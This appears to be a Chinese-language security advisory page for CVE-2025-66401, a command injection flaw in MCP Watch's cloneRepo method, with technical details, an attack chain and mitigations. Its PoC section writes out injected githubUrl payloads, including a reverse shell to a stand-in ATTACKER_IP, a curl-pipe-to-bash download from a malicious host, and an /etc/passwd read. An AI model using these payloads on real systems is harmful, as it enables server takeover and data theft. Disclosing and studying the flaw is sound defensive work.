IPBUF安全漏洞报告
English
CVE-2025-66401 CVSS 9.8 严重

CVE-2025-66401 MCP Watch命令注入漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66401
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MCP Watch

相关标签

命令注入MCP Watch远程代码执行execSyncCVE-2025-66401Model Context Protocol安全扫描工具

漏洞概述

MCP Watch是一款用于Model Context Protocol(MCP)服务器的综合安全扫描工具。该工具在0.1.2及更早版本中存在严重的命令注入(Command Injection)漏洞。漏洞位于MCPScanner类的cloneRepo方法中,该方法直接将用户提供的githubUrl参数传递给系统shell的execSync函数执行git clone操作,而没有对URL进行任何输入验证或消毒处理。攻击者可以通过在githubUrl参数中注入shell元字符(如分号、管道符、反引号等)来执行任意系统命令。此漏洞的CVSS评分高达9.8,属于严重级别,攻击复杂度低,无需认证和用户交互即可利用。成功利用此漏洞可导致攻击者在目标系统上完全控制服务器,窃取敏感数据、安装后门或破坏系统。由于MCP Watch通常作为安全扫描工具运行在服务器环境中,此漏洞的影响范围和危害程度尤为严重。攻击者可以利用此漏洞横向移动到其他系统,或在容器环境中实现容器逃逸。

技术细节

漏洞存在于MCP Watch的MCPScanner类中的cloneRepo方法。该方法接收用户传入的githubUrl参数,用于指定要克隆的Git仓库地址。问题在于该方法直接使用Node.js的child_process.execSync函数执行git clone命令,将githubUrl作为命令参数的一部分传递给shell。攻击者可以通过构造特殊的githubUrl值来注入任意命令。例如,使用分号(;)可以分隔多个命令,使用管道符(|)可以将命令输出传递给其他命令,使用反引号(`)或$()可以执行命令替换。当githubUrl为'https://example.com; whoami > /tmp/pwned'时,实际执行的命令变为'git clone https://example.com; whoami > /tmp/pwned',导致whoami命令被执行并将结果写入/tmp/pwned文件。攻击者还可以利用此漏洞下载并执行恶意脚本、建立反弹shell连接、或在系统上安装持久化后门。由于execSync默认将命令传递给系统默认shell(通常是/bin/sh),Linux和macOS系统均受影响。在Windows系统上,如果使用cmd.exe作为默认shell,同样存在风险。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统上运行的使用MCP Watch库的应用
STEP 2
步骤2
攻击者构造包含shell命令的恶意githubUrl参数,使用分号、管道符等元字符分隔命令
STEP 3
步骤3
攻击者通过API接口、配置文件或MCP协议消息将恶意URL传递给MCPScanner.cloneRepo方法
STEP 4
步骤4
cloneRepo方法使用execSync执行git clone命令时,恶意命令被注入到shell中执行
STEP 5
步骤5
攻击者获得服务器命令执行权限,可以窃取数据、安装后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-66401 PoC - MCP Watch Command Injection // Target: MCP Watch <= 0.1.2 // Attack Vector: Malicious githubUrl parameter in cloneRepo method const { MCPScanner } = require('mcp-watch'); async function exploit() { const scanner = new MCPScanner(); // Malicious URL that executes arbitrary command // The semicolon (;) separates commands in shell const maliciousUrl = 'https://github.com/example/repo; whoami > /tmp/pwned.txt'; // Example: Reverse shell payload const reverseShellUrl = 'https://github.com/example/repo; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; // Example: Download and execute malicious script const downloadExecUrl = 'https://github.com/example/repo; curl http://malicious.site/shell.sh | bash'; try { await scanner.cloneRepo(maliciousUrl); } catch (error) { console.log('Exploit attempted, check for command execution'); } } exploit(); // Note: In real attack scenario, the githubUrl parameter is passed via: // 1. API endpoint accepting user input // 2. Configuration file with untrusted content // 3. MCP protocol message containing malicious URL // Python PoC using requests library """ import requests import json target = "http://target-server:3000/api/scan" payload = "https://github.com/example; cat /etc/passwd > /tmp/leak.txt" data = { "githubUrl": payload, "scanOptions": { "deepScan": True } } response = requests.post(target, json=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") """

影响范围

MCP Watch <= 0.1.2

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)暂时禁用MCP Watch的仓库克隆功能;2)使用Web应用防火墙(WAF)规则阻止URL参数中包含的分号、管道符、反引号等shell元字符;3)限制运行MCP Watch的进程权限,使用非root用户运行并启用AppArmor或SELinux策略;4)在容器环境中实施网络隔离,限制容器出站流量;5)增加日志监控和告警机制,及时发现异常命令执行行为;6)如果可能,暂时停止使用受影响版本的MCP Watch,等待官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表